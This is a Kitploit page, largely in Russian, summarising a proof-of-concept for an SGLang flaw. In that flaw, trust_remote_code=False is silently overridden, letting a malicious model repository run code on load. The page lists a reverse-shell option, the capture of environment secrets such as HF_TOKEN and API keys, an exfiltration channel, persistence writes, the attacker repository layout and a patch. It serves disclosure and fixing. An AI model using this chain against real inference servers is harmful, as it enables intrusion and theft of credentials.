CVE-2026-7669-PoC — PoC для CVE-2026-7669: SGLang silent trust_remote_code override -> RCE | Kitploit

if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
    tokenizer = AutoTokenizer.from_pretrained(
        tokenizer_name,
        *args,
        trust_remote_code=True,
        tokenizer_revision=tokenizer_revision,
        clean_up_tokenization_spaces=False,
        **kwargs,
    )

./run.sh --server         воспроизведение через TokenizerManager.__init__
./run.sh --versions       матрица transformers 5.0..5.5
./run.sh --revshell IP    опциональный reverse shell на IP:4444
./run.sh --rebuild        принудительная пересборка --no-cache
./run.sh --copy-ledger ./ledger.json

Phase 1   transformers + False             return=TokenizersBackend     exec=False
Phase 1b  PATCHED sglang + False           return=TokenizersBackend     exec=False
Phase 2   REAL sglang + False              return=MaliciousTokenizer    exec=True
Phase 2b  PATCHED sglang + True            return=MaliciousTokenizer    exec=True
Phase 3   REAL sglang + False (slow)       return=MaliciousTokenizer    exec=True

Claims:  29 PASS  /  0 FAIL  /  0 N/A  /  29 TOTAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High

*** VULNERABILITY CONFIRMED -- ALL CLAIMS BACKED ***

Код	Значение
0	Подтверждено
1	Не сработало
2	Ложное срабатывание (сами transformers выполнили `tokenizer.py`, ошибка в апстриме)
3	Предварительная проверка зафиксированных версий не пройдена

Компонент	Фиксация
Python	`3.12.7-slim-bookworm`
transformers	`5.3.0`
Коммит SGLang	`fae90abf6e15aaffb6fd924a439253674771487d`
SHA256 `hf_transformers_utils.py`	`9e798eabf2451630bd5939aa9aa65ec397a769157f26fb905057c17ee938497e`
SHA256 уязвимого блока (строки 898-909)	`109fe46208631b80a58755799b44339e19b6902ffe76d68f18b31a59e26b2ece`

Метрика	Значение	Подтверждение
AV	N	Файлы-триггеры (`config.json`, `tokenizer_config.json`, `tokenizer.json`, `tokenizer.py`) — стандартная раскладка `auto_map` HF Hub. Любой реестр, который их обслуживает, достигает ошибки.
AC	L	`PHASE-2` срабатывает детерминированно за один запуск. Каждое условие триггера — контент, созданный атакующим. `PRE-1..7` подтверждают отсутствие снятия отпечатков окружения.
PR	N	Достаточно бесплатной загрузки на HF Hub. Ничто в цепочке триггера не требует предварительных привилегий на жертве.
UI	R	Триггер срабатывает только когда оператор (или конвейер, настроенный оператором) вызывает `launch_server --model-path attacker/model`.
S	U	Все утверждения `SEV-*` выполняются в рамках авторитета процесса SGLang. Никакого побега из песочницы или контейнера.
C	H	`SEV-secrets` захватывает `HF_TOKEN`, `OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, `GPG_KEY` из окружения процесса. `SEV-network` открывает исходящий TCP-канал эксфильтрации.
I	H	`SEV-write-sglang`, `SEV-write-launchsrv`, `SEV-write-model`, `SEV-pip` — четыре независимых примитива целостности в разных чувствительных местах.
A	H	Выводится из RCE. `SEV-pip` доказывает произвольное выполнение подпроцессов, что является тем же примитивом, необходимым для само-DoS. PoC напрямую не демонстрирует самоуничтожение.

Группа	Утверждения
`PRE-1..7`	Зафиксированные версии (Python, transformers, SHA256 файла, количество строк, SHA256 блока переопределения, `trust_remote_code` по умолчанию, путь к исходнику)
`SRC-1`	Импортированный исходник `get_tokenizer` содержит переопределение
`PHASE-1`	transformers напрямую уважает `trust_remote_code=False`
`PHASE-1b`, `PHASE-1b-mech`	SGLang без строк 898-909 уважает `False` и делает ровно один вызов `from_pretrained`
`PHASE-2`, `PHASE-2-mech`, `PHASE-2-silent`	Реальный SGLang выполняет `tokenizer.py`. Трассировка показывает вызов 0 (`False`)->`TokenizersBackend`, вызов 1 (`True`)->`MaliciousTokenizer`. Ни одна строка журнала не упоминает `trust_remote_code` (захват DEBUG на корневом и `sglang` логгерах).
`PHASE-2b`	Патч + явный `True` всё ещё загружается (патч точечный)
`PHASE-3-rce`, `PHASE-3-via-override`	Режим медленного токенизатора также достигает RCE через тот же путь 898-909
`SEV-write-sglang`, `SEV-write-launchsrv`, `SEV-write-model`	Примитивы персистентности и латерального распространения
`SEV-network`	Исходящий TCP-канал эксфильтрации
`SEV-secrets`	Захват секретов из переменных окружения
`SEV-pip`	Произвольная установка pip (цепочка поставок)
`SEV-root`	Процесс работает от root в образе lmsysorg
`AUTH-1`	ServerArgs по умолчанию (`api_key=None`, `admin_api_key=None`) оставляет все конечные точки доступными без аутентификации

attacker/model/
  config.json             model_type "gpt2" (в TOKENIZER_MAPPING_NAMES transformers)
  tokenizer_config.json   пользовательский tokenizer_class + auto_map -> tokenizer.py
  tokenizer.json          валидный BPE-токенизатор (чтобы первая загрузка прошла успешно)
  tokenizer.py            полезная нагрузка
  model.safetensors       фиктивные веса

if not trust_remote_code and type(tokenizer).__name__ == "TokenizersBackend":
    logger.warning(
        "Model %s requires a custom tokenizer but trust_remote_code=False. "
        "Returning generic TokenizersBackend without executing tokenizer.py. "
        "Restart with --trust-remote-code if the custom code is required.",
        tokenizer_name,
    )

ADMIN_OPTIONAL

CVE-2026-7669-PoC

Популярное

Уязвимый код

Воспроизведение

Вердикт

Зафиксированное окружение

Обоснование CVSS

Утверждения

Механизм

Исправление

Раскрытие

Авторы

Ссылки